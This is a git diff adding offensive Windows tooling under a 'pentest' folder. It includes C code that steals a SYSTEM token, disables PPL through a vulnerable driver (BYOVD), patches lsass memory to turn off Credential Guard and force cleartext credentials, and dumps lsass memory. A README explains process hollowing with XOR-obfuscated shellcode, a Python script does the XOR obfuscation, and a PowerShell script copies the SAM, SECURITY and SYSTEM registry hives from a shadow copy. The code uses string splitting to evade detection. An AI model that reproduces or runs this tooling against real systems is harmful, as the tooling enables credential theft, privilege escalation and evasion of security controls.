+    if (hSnapshot == INVALID_HANDLE_VALUE) {
+        fprintf(logfile, "CreateToolhelp32Snapshot error: %u\n", GetLastError());
+        return FALSE;
+    }
+
+    BOOL found = FALSE;
+    HANDLE hProcess = NULL;
+    HANDLE hToken = NULL;
+    HANDLE hDupToken = NULL;
+
+    if (Process32First(hSnapshot, &pe)) {
+        do {
+            // Look for winlogon
+            if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
+                hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
+                if (hProcess) {
+                    if (OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
+                        if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) {
+                            *hSystemToken = hDupToken;
+                            found = TRUE;
+                            CloseHandle(hToken);
+                            CloseHandle(hProcess);
+                            fprintf(logfile, "[+] Successfully duplicated token. Process can now run as SYSTEM.\n");
+                            break;
+                        }
+                        CloseHandle(hToken);
+                    }
+                    CloseHandle(hProcess);
+                }
+            }
+        } while (Process32Next(hSnapshot, &pe));
+    }
+    CloseHandle(hSnapshot);
+
+    if (!found) {
+        fprintf(logfile, "Failed to obtain system token\n");
+        return FALSE;
+    }
+    return TRUE;
+}
+
+// ========================================
+// Functions to get all privileges
+// ========================================
+
+// Function to enable a specific privilege on the provided token.
+// This function does not open the token itself, but uses the token passed as parameter.
+BOOL EnablePrivilege(HANDLE hToken, LPCWSTR privilegeName) {
+    TOKEN_PRIVILEGES tokenPrivs;
+    LUID luid;
+
+    // Lookup the LUID for the specified privilege
+    if (!LookupPrivilegeValueW(NULL, privilegeName, &luid)) {
+        // wprintf(L"[ERROR] Failed to lookup privilege %ls. Error: %lu\n", privilegeName, GetLastError());
+        return FALSE;
+    }
+    // wprintf(L"[INFO] LUID for privilege %ls retrieved successfully.\n", privilegeName);
+
+    // Set up the TOKEN_PRIVILEGES structure
+    tokenPrivs.PrivilegeCount = 1;
+    tokenPrivs.Privileges[0].Luid = luid;
+    tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+
+    // Adjust the token privileges to enable the privilege
+    if (!AdjustTokenPrivileges(hToken, FALSE, &tokenPrivs, sizeof(tokenPrivs), NULL, NULL)) {
+        // wprintf(L"[ERROR] AdjustTokenPrivileges failed for %ls. Error: %lu\n", privilegeName, GetLastError());
+        return FALSE;
+    }
+
+    // Check if the privilege was successfully enabled
+    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
+        // wprintf(L"[ERROR] The privilege %ls could not be enabled. Not all privileges were assigned.\n", privilegeName);
+        return FALSE;
+    }
+
+    // wprintf(L"[+] Privilege %ls enabled successfully.\n", privilegeName);
+    return TRUE;
+}
+
+// Function to enable all desired privileges on the provided token.
+void EnableAllPrivileges(HANDLE hToken) {
+    // List of privileges to enable
+    LPCWSTR privileges[] = {
+        SE_BACKUP_NAME,
+        SE_CHANGE_NOTIFY_NAME,
+        SE_CREATE_GLOBAL_NAME,
+        SE_CREATE_PAGEFILE_NAME,
+        SE_CREATE_PERMANENT_NAME,
+        SE_CREATE_SYMBOLIC_LINK_NAME,
+        SE_DEBUG_NAME,
+        SE_IMPERSONATE_NAME,
+        SE_INC_BASE_PRIORITY_NAME,
+        SE_INC_WORKING_SET_NAME,
+        SE_LOCK_MEMORY_NAME,
+        SE_MACHINE_ACCOUNT_NAME,
+        SE_MANAGE_VOLUME_NAME,
+        SE_PROF_SINGLE_PROCESS_NAME,
+        SE_RESTORE_NAME,
+        SE_SHUTDOWN_NAME,
+        SE_SYSTEM_ENVIRONMENT_NAME,
+        SE_SYSTEM_PROFILE_NAME,
+        SE_SYSTEMTIME_NAME,
+        SE_TAKE_OWNERSHIP_NAME,
+        SE_TCB_NAME,
+        SE_TIME_ZONE_NAME,
+        SE_TRUSTED_CREDMAN_ACCESS_NAME,
+        SE_UNSOLICITED_INPUT_NAME
+    };
+
+    int numPrivileges = sizeof(privileges) / sizeof(privileges[0]);
+    for (int i = 0; i < numPrivileges; i++) {
+        // wprintf(L"Trying to enable privilege: %ls\n", privileges[i]);
+        if (!EnablePrivilege(hToken, privileges[i])) {
+            // wprintf(L"[ERROR] Failed to enable privilege: %ls\n", privileges[i]);
+        }
+        else {
+            // wprintf(L"[INFO] Privilege enabled: %ls\n", privileges[i]);
+        }
+    }
+}
+
+// ===============================
+// Function to get process handle and modules
+// ===============================
+
+BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE* hProcess, OUT DWORD* pID)
+{
+    DWORD pid = 0;
+    HANDLE hP = NULL;
+    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (hSnapshot == INVALID_HANDLE_VALUE)
+    {
+        fprintf(logfile, "[ERROR] Invalid HANDLE to process snapshots [%d]\n", GetLastError());
+        return FALSE;
+    }
+
+    PROCESSENTRY32 pe;
+    pe.dwSize = sizeof(PROCESSENTRY32);
+
+    if (!Process32First(hSnapshot, &pe))
+    {
+        fprintf(logfile, "[ERROR] Could not enumerate processes [%d]\n", GetLastError());
+        CloseHandle(hSnapshot);
+        return FALSE;
+    }
+
+    do {
+        if (_wcsicmp(processName, pe.szExeFile) == 0)
+        {
+            pid = pe.th32ProcessID;
+            fprintf(logfile, "[*] Trying to open handle on %ls, on PID %d\n", processName, pid);
+
+            hP = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);
+            if (hP == NULL)
+            {
+                fprintf(logfile, "[ERROR] Could not open handle on PID %d, Error: %d\n", pid, GetLastError());
+            }
+            else
+            {
+                fprintf(logfile, "[+] Successfully got handle on PID %d\n", pid);
+                *pID = pid;
+                *hProcess = hP;
+                CloseHandle(hSnapshot);
+                return TRUE;
+            }
+        }
+    } while (Process32Next(hSnapshot, &pe));
+
+    CloseHandle(hSnapshot);
+    fprintf(logfile, "[ERROR] Process %ls not found.\n", processName);
+    return FALSE;
+}
+
+
+#define MAX_MODULES 1024
+
+// Function to enumerate a process' modules and find the address of 'module.dll'
+LPVOID EnumerateModulesAndFindAddress(HANDLE hProcess, const char* moduleName) {
+    HMODULE hMods[MAX_MODULES];
+    DWORD cbNeeded;
+    unsigned int i;
+
+    // Get all the modules of the process
+    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
+        // fprintf(logfile, "Modules loaded in the process:\n");
+
+        // Calculate the number of modules
+        unsigned int numModules = cbNeeded / sizeof(HMODULE);
+
+        // Scan all modules
+        for (i = 0; i < numModules; i++) {
+            char szModName[MAX_PATH];
+
+            // Get the module name
+            if (GetModuleFileNameExA(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(char))) {
+                // fprintf(logfile, "%d: %s\n", i, szModName);
+
+                // Check if the module is the one being searched for
+                if (strstr(szModName, moduleName) != NULL) {
+                    MODULEINFO modInfo;
+                    if (GetModuleInformation(hProcess, hMods[i], &modInfo, sizeof(modInfo))) {
+                        // fprintf(logfile, "Base address of module %s: 0x%p\n", moduleName, modInfo.lpBaseOfDll);
+                        return modInfo.lpBaseOfDll;
+                    }
+                    else {
+                        fprintf(logfile, "[ERROR] Unable to get information about module %s.\n", moduleName);
+                        return NULL;
+                    }
+                }
+            }
+        }
+    }
+    else {
+        fprintf(logfile, "[ERROR] Error enumerating the process modules: %lu\n", GetLastError());
+        return NULL;
+    }
+}
+
+// =====================================================
+// Function to Disable credentialGuard
+// ===================================================== 
+
+int disableCG() {
+    DWORD bytesReadf;
+    // Read wdigest.dll from disk
+    HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\wdigest.dll", GENERIC_READ, FILE_SHARE_READ,
+        NULL, OPEN_EXISTING, 0, NULL);
+    if (hFile == INVALID_HANDLE_VALUE) {
+        fprintf(logfile, "[ERROR] Unable to open wdigest.dll from disk.\n");
+        return 1;
+    }
+    // Read up to 1 MB
+    BYTE* fileBuffer = (BYTE*)malloc(1024 * 1024);
+    if (!fileBuffer) {
+        CloseHandle(hFile);
+        return 1;
+    }
+    if (!ReadFile(hFile, fileBuffer, 1024 * 1024, &bytesReadf, NULL)) {
+        fprintf(logfile, "[ERROR] Error in ReadFile.\n");
+        free(fileBuffer);
+        CloseHandle(hFile);
+        return 1;
+    }
+    CloseHandle(hFile);
+
+    // Parse the PE file to locate the .text section
+    DWORD peOffset = *(DWORD*)(fileBuffer + 0x3C);
+    if (*(DWORD*)(fileBuffer + peOffset) != 0x00004550) { // "PE\0\0"
+        fprintf(logfile, "[ERROR] Invalid PE signature.\n");
+        free(fileBuffer);
+        return 1;
+    }
+    WORD numSections = *(WORD*)(fileBuffer + peOffset + 6);
+    WORD sizeOptionalHeader = *(WORD*)(fileBuffer + peOffset + 20);
+    int sectionHeadersOffset = peOffset + 24 + sizeOptionalHeader;
+
+    DWORD textVirtualAddress = 0, textRawDataPointer = 0, textRawDataSize = 0;
+    for (int i = 0; i < numSections; i++) {
+        int secOffset = sectionHeadersOffset + (i * 40); // each header is 40 bytes
+        char sectionName[9] = { 0 };
+        memcpy(sectionName, fileBuffer + secOffset, 8);
+        if (strcmp(sectionName, ".text") == 0) {
+            textVirtualAddress = *(DWORD*)(fileBuffer + secOffset + 12);
+            textRawDataSize = *(DWORD*)(fileBuffer + secOffset + 16);
+            textRawDataPointer = *(DWORD*)(fileBuffer + secOffset + 20);
+            break;
+        }
+    }
+    if (textVirtualAddress == 0) {
+        fprintf(logfile, "[ERROR] .text section not found.\n");
+        free(fileBuffer);
+        return 1;
+    }
+
+    // --- 3. Search for the pattern in the .text section ---
+    // The pattern used here: looking for a sequence where:
+    //   byte0 == 0x39, byte5 == 0x00, byte6 == 0x8B, byte11 == 0x00
+    // If the pattern is found, extract:
+    //   useLogonCredential = (b2 | b3<<8 | b4<<16)
+    //   isCredGuardEnabled = (b8 | b9<<8 | b10<<16)
+    int patternFound = 0;
+    int patternOffset = 0;
+    int useLogonVal = 0, credGuardVal = 0;
+    for (DWORD j = textRawDataPointer; j < textRawDataPointer + textRawDataSize - 12; j++) {
+        if (fileBuffer[j] == 0x39 && fileBuffer[j + 5] == 0x00 &&
+            fileBuffer[j + 6] == 0x8B && fileBuffer[j + 11] == 0x00) {
+            // The relative offset in the module is: (j - rawDataPointer) + virtualAddress
+            patternOffset = (int)(j - textRawDataPointer) + textVirtualAddress;
+            useLogonVal = fileBuffer[j + 2] | (fileBuffer[j + 3] << 8) | (fileBuffer[j + 4] << 16);
+            credGuardVal = fileBuffer[j + 8] | (fileBuffer[j + 9] << 8) | (fileBuffer[j + 10] << 16);
+            patternFound = 1;
+            break;
+        }
+    }
+    if (!patternFound) {
+        fprintf(logfile, "[ERROR] Pattern not found in PE file.\n");
+        return 1;
+    }
+
+    fprintf(logfile, "[*] patternOffset = %X - useLogonVal = %X - credGuardVal = %X\n", patternOffset, useLogonVal, credGuardVal);
+
+    // Print the next 12 bytes from the pattern's file offset
+    fprintf(logfile, "[*] Next 12 bytes after the pattern start:\n");
+    for (int i = 0; i < 12; i++) {
+        fprintf(logfile, "%02X ", fileBuffer[patternOffset + i]);
+    }
+    fprintf(logfile, "\n");
+
+    free(fileBuffer);
+
+
+    // Compute the final offsets in wdigest.dll
+    DWORD useLogonCredentialOffset = useLogonVal + patternOffset + 6;
+    DWORD credGuardOffset = credGuardVal + patternOffset + 12;
+
+    // Create a snapshot of active processes
+    LPWSTR processName = L"lsass.exe";
+    HANDLE hLsass = NULL;
+    DWORD pID;
+
+    GetProcessHandle(processName, &hLsass, &pID);
+
+
+    const char* moduleName = "wdigest.DLL";
+    LPVOID wdigestBaseAddress = EnumerateModulesAndFindAddress(hLsass, moduleName);
+
+    // Compute the actual addresses in lsass and patch the values
+    LPVOID addrUseLogon = (LPVOID)((uintptr_t)wdigestBaseAddress + useLogonCredentialOffset);
+    LPVOID addrCredGuard = (LPVOID)((uintptr_t)wdigestBaseAddress + credGuardOffset);
+
+
+    fprintf(logfile, "[+] DLL Base Address: \t\t0x%llX\n", (unsigned long long)wdigestBaseAddress);
+    fprintf(logfile, "[+] UseLogonCredential address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrUseLogon, (unsigned long long)wdigestBaseAddress, useLogonCredentialOffset);
+    fprintf(logfile, "[+] IsCredGuardEnabled address:\t0x%llX (0x%llX + 0x%X)\n", (unsigned long long)addrCredGuard, (unsigned long long)wdigestBaseAddress, credGuardOffset);
+
+    fprintf(logfile, "[*] addrUseLogon = %p - addrCredGuard = %p\n", addrUseLogon, addrCredGuard);
+
+    char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
+    HANDLE hNtdll = LoadCleanDLL(ntdllPath);
+
+    // Declare buffers for reading values
+    BYTE useLogonCredential_buffer[4] = { 0 };
+    BYTE isCredGuardEnabled_buffer[4] = { 0 };
+    SIZE_T bytesRead = 0;
+    ULONG bytesWritten = 0;
+    DWORD newVal = 0;
+    NTSTATUS status;
+
+    typedef NTSTATUS(WINAPI* NtReadVirtualMemoryFn)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
+    typedef NTSTATUS(WINAPI* NtWriteVirtualMemoryFn)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferSize, PULONG NumberOfBytesWritten);
+
+    NtReadVirtualMemoryFn NtReadVirtualMemory;
+    NtWriteVirtualMemoryFn NtWriteVirtualMemory;
+
+    NtReadVirtualMemory = (NtReadVirtualMemoryFn)GetProcAddress(hNtdll, "NtReadVirtualMemory");
+    NtWriteVirtualMemory = (NtWriteVirtualMemoryFn)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
+
+    // Read and print current value for g_fParameter_UseLogonCredential using NtReadVirtualMemory
+    NTSTATUS ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead);
+    if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus);
+    }
+    else {
+        fprintf(logfile, "[+] UseLogonCredential value: \t%02X %02X %02X %02X\n",
+            useLogonCredential_buffer[0], useLogonCredential_buffer[1],
+            useLogonCredential_buffer[2], useLogonCredential_buffer[3]);
+    }
+
+    // Read and print current value for g_IsCredGuardEnabled using NtReadVirtualMemory
+    ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead);
+    if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus);
+    }
+    else {
+        fprintf(logfile, "[+] isCredGuardEnabled value: \t%02X %02X %02X %02X\n",
+            isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1],
+            isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]);
+    }
+
+    // Patch: Set new value for g_fParameter_UseLogonCredential (enable cleartext credential usage)
+    newVal = 1;
+    ntstatus = NtWriteVirtualMemory(hLsass, addrUseLogon, &newVal, sizeof(newVal), &bytesWritten);
+    if (ntstatus != 0 && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtWriteVirtualMemory for useLogonCredential failed: 0x%08X\n", ntstatus);
+        return 1;
+    }
+
+    // Read and print new value for g_fParameter_UseLogonCredential
+    ntstatus = NtReadVirtualMemory(hLsass, addrUseLogon, useLogonCredential_buffer, sizeof(useLogonCredential_buffer), &bytesRead);
+    if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtReadVirtualMemory for useLogonCredential after write failed: 0x%08X\n", ntstatus);
+    }
+    else {
+        fprintf(logfile, "[+] New useLogonCredential value: \t%02X %02X %02X %02X\n",
+            useLogonCredential_buffer[0], useLogonCredential_buffer[1],
+            useLogonCredential_buffer[2], useLogonCredential_buffer[3]);
+    }
+
+    // Patch: Set new value for g_IsCredGuardEnabled (disable Credential Guard)
+    newVal = 0;
+    ntstatus = NtWriteVirtualMemory(hLsass, addrCredGuard, &newVal, sizeof(newVal), &bytesWritten);
+    if (ntstatus != 0 && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtWriteVirtualMemory for isCredGuardEnabled failed: 0x%08X\n", ntstatus);
+        return 1;
+    }
+
+    // Read and print new value for g_IsCredGuardEnabled
+    ntstatus = NtReadVirtualMemory(hLsass, addrCredGuard, isCredGuardEnabled_buffer, sizeof(isCredGuardEnabled_buffer), &bytesRead);
+    if (ntstatus != 0 && ntstatus != 0xC0000005 && ntstatus != 0x8000000D && hLsass != NULL) {
+        fprintf(logfile, "[ERROR] NtReadVirtualMemory for isCredGuardEnabled after write failed: 0x%08X\n", ntstatus);
+    }
+    else {
+        fprintf(logfile, "[+] New isCredGuardEnabled value: \t%02X %02X %02X %02X\n",
+            isCredGuardEnabled_buffer[0], isCredGuardEnabled_buffer[1],
+            isCredGuardEnabled_buffer[2], isCredGuardEnabled_buffer[3]);
+    }
+
+
+    CloseHandle(hLsass);
+    fprintf(logfile, "[+] Patch successfully applied.\n");
+    return 0;
+}
+
+// ==================================
+// main
+// ==================================
+
+int main(void)
+{
+    // Logs
+    logfile = fopen("C:\\Users\\Public\\log.txt", "a");
+
+    // Initialize STARTUPINFO and PROCESS_INFORMATION structures.
+    STARTUPINFOW si;
+    PROCESS_INFORMATION pi;
+    ZeroMemory(&si, sizeof(si));
+    si.cb = sizeof(si);
+    ZeroMemory(&pi, sizeof(pi));
+
+    // Duplicate SYSTEM token
+    HANDLE hSystemToken = NULL;
+    if (!GetSystemTokenAndDuplicate(&hSystemToken)) {
+        fprintf(logfile, "[!] Failed to duplicate SYSTEM token.\n");
+        return 1;
+    }
+    fprintf(logfile, "[+] Successfully duplicated SYSTEM token.\n");
+
+    EnableAllPrivileges(hSystemToken);
+
+    // Impersonate SYSTEM token
+    if (!ImpersonateLoggedOnUser(hSystemToken)) {
+        fprintf(logfile, "[!] ImpersonateLoggedOnUser failed, error: %lu\n", GetLastError());
+    }
+    else {
+        fprintf(logfile, "[+] Impersonation succeeded.\n");
+    }
+
+    if (!SetThreadToken(NULL, hSystemToken)) {
+        fprintf(logfile, "[!] SetThreadToken failed, error: %lu\n", GetLastError());
+    }
+    else {
+        fprintf(logfile, "[+] SetThreadToken succeeded. Current thread now uses SYSTEM token.\n");
+    }
+
+    // Load the DLLs kernel32.dll and ntdll.dll
+    HMODULE hKernel32 = LoadLibraryA("kernel32.dll");
+    if (!hKernel32) {
+        fprintf(logfile, "Error loading kernel32.dll\n");
+        return 1;
+    }
+    HMODULE hNtdll = LoadLibraryA("ntdll.dll");
+    if (!hNtdll) {
+        fprintf(logfile, "Error loading ntdll.dll\n");
+        return 1;
+    }
+    HANDLE hDbghelp = LoadCleanDLL("dbghelp.dll");
+    if (!hDbghelp) {
+        fprintf(logfile, "Error loading ntdll.dll\n");
+        return 1;
+    }
+
+    // Start the driver
+    LoadAndStartDriver();
+
+    // Disable PPL
+    disablePPL();
+
+    // Disable Credential Guard
+    disableCG();
+
+    // Build the target process name: "lsass.exe"
+    wchar_t part1[] = L"ls";
+    wchar_t part2[] = L"ass";
+    wchar_t part3[] = L".ex";
+    wchar_t part4[] = L"e";
+    char targetProcessName[50] = { 0 };
+    swprintf(targetProcessName, "%s%s%s%s", part1, part2, part3, part4);
+
+    DWORD targetPID = 0;
+
+    // Create a snapshot of active processes
+    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (hSnapshot == INVALID_HANDLE_VALUE)
+    {
+        fprintf(logfile, "Unable to create process snapshot.\n");
+        return 1;
+    }
+
+    PROCESSENTRY32 pe;
+    pe.dwSize = sizeof(PROCESSENTRY32);
+    if (Process32First(hSnapshot, &pe))
+    {
+        do
+        {
+            if (_stricmp(pe.szExeFile, targetProcessName) == 0)
+            {
+                targetPID = pe.th32ProcessID;
+                break;
+            }
+        } while (Process32Next(hSnapshot, &pe));
+    }
+    CloseHandle(hSnapshot);
+
+    if (targetPID == 0)
+    {
+        fprintf(logfile, "Target process not found.\n");
+        return 1;
+    }
+
+    // Open the target process with full access (requires elevation)
+    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID);
+    if (!hProcess)
+    {
+        fprintf(logfile, "Unable to open target process (PID: %lu).\n", targetPID);
+        return 1;
+    }
+
+    // Define the dump file path
+    const char* dumpFilePath = "C:\\Users\\Public\\ssasl.dmp";
+
+    // Create the dump file
+    HANDLE hFile = CreateFileA(dumpFilePath,
+        GENERIC_WRITE,
+        0,
+        NULL,
+        CREATE_ALWAYS,
+        FILE_ATTRIBUTE_NORMAL,
+        NULL);
+    if (hFile == INVALID_HANDLE_VALUE)
+    {
+        fprintf(logfile, "Unable to create dump file.\n");
+        CloseHandle(hProcess);
+        return 1;
+    }
+
+    // Build the function name: "MiniDumpWriteDump"
+    char mdPart1[] = "Mini";
+    char mdPart2[] = "Dump";
+    char mdPart3[] = "Write";
+    char mdPart4[] = "Dump";
+    char miniFuncName[100] = { 0 };
+    sprintf(miniFuncName, "%s%s%s%s", mdPart1, mdPart2, mdPart3, mdPart4);
+
+    PFN_MDWD pMiniDumpWriteDump = (PFN_MDWD)GetProcAddress(hDbghelp, miniFuncName);
+    if (!pMiniDumpWriteDump)
+    {
+        fprintf(logfile, "Unable to retrieve MiniDumpWriteDump address.\n");
+        FreeLibrary(hDbghelp);
+        CloseHandle(hFile);
+        CloseHandle(hProcess);
+        return 1;
+    }
+
+    // Dump the target process
+    BOOL dumped = pMiniDumpWriteDump(
+        hProcess,               // Handle to target process
+        targetPID,              // Process ID
+        hFile,                  // Handle to file
+        MiniDumpWithFullMemory, // Dump type
+        NULL,                   // Exception parameter
+        NULL,                   // User stream parameter
+        NULL                    // Callback parameter
+    );
+
+    if (dumped)
+    {
+        fprintf(logfile, "[+] Dump completed.\n");
+    }
+    else
+    {
+        fprintf(logfile, "[!] Dump failed. Error code: %lu\n", GetLastError());
+    }
+
+    // Clean up resources before modifying file permissions
+    FreeLibrary(hDbghelp);
+    CloseHandle(hFile);
+    CloseHandle(hProcess);
+
+    // Set file permissions to grant GENERIC_READ to Everyone
+    DWORD dwRes;
+    EXPLICIT_ACCESS ea;
+    PACL pNewDACL = NULL;
+
+    ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
+    ea.grfAccessPermissions = GENERIC_READ;
+    ea.grfAccessMode = SET_ACCESS;
+    ea.grfInheritance = NO_INHERITANCE;
+    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
+    ea.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+    ea.Trustee.ptstrName = L"Everyone";
+
+    dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDACL);
+    if (dwRes != ERROR_SUCCESS)
+    {
+        fprintf(logfile, "Failed to set entries in ACL. Error: %lu\n", dwRes);
+    }
+    else
+    {
+        dwRes = SetNamedSecurityInfoA(
+            (LPSTR)dumpFilePath,
+            SE_FILE_OBJECT,
+            DACL_SECURITY_INFORMATION,
+            NULL,
+            NULL,
+            pNewDACL,
+            NULL);
+        if (dwRes != ERROR_SUCCESS)
+        {
+            fprintf(logfile, "Failed to set security info. Error: %lu\n", dwRes);
+        }
+    }
+    if (pNewDACL)
+        LocalFree(pNewDACL);
+
+    // Unload the driver
+    StopAndUnloadDriver(DRIVER_NAME);
+
+    fclose(logfile);
+
+    return 0;
+}
diff --git a/pentest/HollowReaper/README.md b/pentest/HollowReaper/README.md
@@ -0,0 +1,49 @@
+# 💀 HollowReaper - Hollow the Living, Control the Void
+HollowReaper is a mystical tool crafted to manipulate processes through Process Hollowing, allowing seamless injection of custom shellcode into a legitimate process. This arcane art lets you erase a process’s soul and replace it with your own will.
+
+![hollowreaper](https://github.com/user-attachments/assets/fdfa66ff-97b2-4860-a4c3-c022cde5095a)
+
+## 📜 The Ritual
+### 💀 HollowReaper.c
+The vessel for your payload. This program performs process hollowing, carving out a legitimate process and injecting your shellcode into its husk.
+
+### 🧬 LSASS_CDumper.c
+The soul binder. This shellcode:
+
+🛡️ Disables PPL using the cursed RTCore64.sys driver (BYOVD)
+
+🚫 Disables Credential Guard using forbidden kernel incantations
+
+💾 Extracts a Minidump from LSASS memory
+
+### 🗝️ xor20charkey.py
+A local obfuscation utility. XOR-encrypts the shellcode using a custom 20-character key, shielding your payload from watchful eyes.
+
+### 📦 RTCore64.sys
+A vulnerable driver — the ancient relic that grants direct access to kernel memory. Through this cursed artifact, you pierce the veil between userland and kernel.
+
+## ⚗️ The Components
+| File	| Purpose |
+|-------|---------|
+|HollowReaper.c	| Hollow a process and inject the embedded shellcode |
+|LSASS_CDumper.c | Shellcode: disable PPL & Credential Guard, dump LSASS |
+|xor20charkey.py | Python script to XOR the shellcode with a 20-char key |
+|RTCore64.sys | Vulnerable driver for kernel memory access (BYOVD) |
+
+## 🕯️ Usage Flow
+1️⃣ Compile LSASS_CDumper.c
+
+2️⃣ Use Donut to convert it into shellcode
+
+3️⃣ Obfuscate the shellcode using xor20charkey.py
+
+4️⃣ Embed the result into HollowReaper.c
+
+5️⃣ Run HollowReaper to hollow a process and unleash the payload
+
+--------------------------------------------------------------------------
+
+⚠️ Disclaimer
+This tool is provided for educational and research purposes only. Use responsibly.
+The arcane always watches. 🧿
+
diff --git a/pentest/HollowReaper/xor20charkey.py b/pentest/HollowReaper/xor20charkey.py
@@ -0,0 +1,45 @@
+'''
+
+    Author: vari.sh
+
+    Description: This program XOR the shellcode
+    
+'''
+
+
+#!/usr/bin/env python3
+def xor_bytes(shellcode, key_bytes):
+    """
+    Applies the XOR operation to each byte of the shellcode using the key.
+    The key is repeated if the shellcode is longer.
+    """
+    result = []
+    key_length = len(key_bytes)
+    for i, b in enumerate(shellcode):
+        result.append(b ^ key_bytes[i % key_length])
+    return result
+
+def main():
+    # Shellcode in the form of a list of bytes (decimal or hexadecimal)
+    shellcode = [0xe8, 0xc0, 0x4d]
+
+    # Define the key as a 20-character string.
+    # For example: "0123456789abcdefghij"
+    key_str = "0123456789abcdefghij"
+    if len(key_str) != 20:
+        print("The key must be 20 characters long!")
+        return
+
+    # Convert the key into a list of numerical values (bytes)
+    key_bytes = [ord(c) for c in key_str]
+
+    # Apply XOR to the shellcode
+    xor_result = xor_bytes(shellcode, key_bytes)
+
+    # Format the result in the same format: 0xXX, 0xXX, ...
+    formatted_result = ", ".join("0x{:02X}".format(b) for b in xor_result)
+    print("XORed Shellcode:")
+    print(formatted_result)
+
+if __name__ == "__main__":
+    main()
diff --git a/pentest/NecroMirror.ps1 b/pentest/NecroMirror.ps1
@@ -0,0 +1,67 @@
+<#
+    Author: vari.sh
+
+    Description: This script lets you dump SAM, SECURITY, SYSTEM, SOFTWARE without using Rubeus or Mimikatz.
+                 It creates a shadow copy of C: and copies the files to C:\Windows\Tasks, then compresses them into a ZIP archive.
+                 Warning: it needs Administrator privileges.
+    Usage: .\NecroMirror.ps1
+#>
+
+# Get current user
+$actualUser = $env:USERNAME
+$outputPath = "C:\Windows\Tasks"
+
+Write-Output "[+] Creating shadow copy"
+# Create C: shadow copy
+wmic shadowcopy call create Volume='C:\' > $null 2>&1
+
+# Get shadow copy ID and Path
+$shadowCopyID = (vssadmin list shadows | Select-String -Pattern "Shadow Copy ID:" | Select-Object -Last 1).ToString().Split(':')[1].Trim()
+$shadowCopyPath = (vssadmin list shadows | Select-String -Pattern "Shadow Copy Volume:" | Select-Object -Last 1).ToString().Split(':')[1].Trim()
+
+Write-Output "[*] ShadowCopy UUID: $shadowCopyID"
+Write-Output "[*] ShadowCopy Path: $shadowCopyPath"
+
+# Mount shadow copy
+$mountPoint = "$outputPath\backup"
+Write-Output "[+] Mounting shadow copy in $mountPoint"
+cmd /c "mklink /d $mountPoint $shadowCopyPath"
+
+# Get timestamps
+$timestamp = Get-Date -Format "yyyyMMdd_HHmmss"
+$zipFilePath = "$outputPath\backup_$timestamp.zip"
+
+# Copy LSA files
+Write-Output "[+] Copying SAM..."
+copy "$mountPoint\windows\system32\config\sam" "$outputPath\${timestamp}_mas"
+Write-Output "[+] Copying SECURITY..."
+copy "$mountPoint\windows\system32\config\security" "$outputPath\${timestamp}_ytiruces"
+Write-Output "[+] Copying SYSTEM..."
+copy "$mountPoint\windows\system32\config\system" "$outputPath\${timestamp}_metsys"
+Write-Output "[+] Copying SOFTWARE..."
+copy "$mountPoint\windows\system32\config\software" "$outputPath\${timestamp}_erawtfos"
+
+# Deletes mounted folder
+Write-Output "[-] Deleting symlink"
+rm $mountPoint
+
+# Delete shadow copy
+Write-Output "[-] Deleting shadow copy"
+vssadmin delete shadows /Shadow="$shadowCopyID" /Quiet > $null 2>&1
+
+# Compress files into a ZIP archive
+Write-Output "[+] Creating ZIP archive: $zipFilePath"
+Compress-Archive -Path "$outputPath\${timestamp}_mas", "$outputPath\${timestamp}_ytiruces", "$outputPath\${timestamp}_metsys", "$outputPath\${timestamp}_erawtfos" -DestinationPath $zipFilePath
+
+# Modify permissions to make the ZIP file readable by everyone
+Write-Output "[+] Modifying ZIP file permissions"
+$acl = Get-Acl $zipFilePath
+$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule("Everyone", "FullControl", "Allow")
+$acl.SetAccessRule($accessRule)
+Set-Acl -Path $zipFilePath -AclObject $acl
+
+# Remove original files
+Write-Output "[-] Removing extracted files"
